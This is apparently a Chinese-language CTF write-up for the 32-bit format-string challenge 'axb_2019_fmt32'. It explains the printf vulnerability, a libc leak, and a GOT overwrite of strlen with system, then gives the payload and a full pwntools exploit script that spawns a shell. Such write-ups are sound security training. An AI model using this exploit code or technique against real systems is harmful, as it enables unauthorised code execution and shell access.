例行检查
是开 了部分relro,可以改写got表,然后栈不可执行不,
IDA分析
很简单的一个程序,会先初始化一些后续要用到的栈空间,然后让我们输入,字节数大小会有限制,然后再对我们的输入做一个长度判断,长度符合的话就会调用printf()函数,存在格式化字符串漏洞,程序里没有system,binsh字符串,我们这里就要先leak出地址,然后返回system即可,观察程序不难发现,我们无法溢出去控制返回地址,然而我们可以去改 某一函数的got表地址为system,从而去get shell,通过分析,strlen()函数是比较理想的,我们可以控制传参为/bin/sh从而去get shell.
exp:
我们发送如下payload,
payload = 'AAAAA'
payload += p32(str_len_got)
payload += p32(str_len_got+1)
payload += p32(str_len_got+2)
payload += '%150c'
payload += '%9$hhn'
payload += '%'
payload += str(hou + 80)
payload += 'c'
payload += '%10$hhn'
payload += '%'
payload += str(qian -hou)
payload += 'c'
payload += '%11$hhn'
这里我先输入了5个A,为了栈对齐,qian hou 是system地址的高低字节,
然后strlen()函数的got表地址就会被改成system地址:
这是在栈上布局的payload,这里0xf7字节不用修改,所以我只改了三个字节
执行完printf()后:
strlen()的got表地址就会只向system地址,我们再次发送’;sh’就可以get shell.
完整exp:
from pwn import *
#from LibcSearcher import *
elf = ELF('./axb_2019_fmt32')
#io = remote('node4.buuoj.cn',25468)
io = process('./axb_2019_fmt32')
libc = elf.libc
context(log_level='debug')
str_len_got = 0x804A024
io.recvuntil(':')
payload = '%5$p'
io.sendline(payload)
io.recvuntil(':')
#_rtld_global
leak = int(io.recv(10),16)
libc_base = leak-0x1d95c5
success('libc_base:'+hex(leak-0x1d95c5))
system = libc_base + libc.sym['system']
success('system:'+hex(leak-0x1d95c5+libc.sym['system']))
qian = (system >> 16) & 0xff
success('qian:'+hex(qian))
hou = (system >> 8) & 0xff
success('hou:'+hex(hou))
#0xb0 0xf7
payload = 'AAAAA'
payload += p32(str_len_got)
payload += p32(str_len_got+1)
payload += p32(str_len_got+2)
payload += '%150c'
payload += '%9$hhn'
payload += '%'
payload += str(hou + 80)
payload += 'c'
payload += '%10$hhn'
payload += '%'
payload += str(qian -hou)
payload += 'c'
payload += '%11$hhn'
io.recvuntil(':')
gdb.attach(io)
io.sendline(payload)
io.recvuntil(':')
io.sendline(';sh')
io.interactive()
喜提flag!!!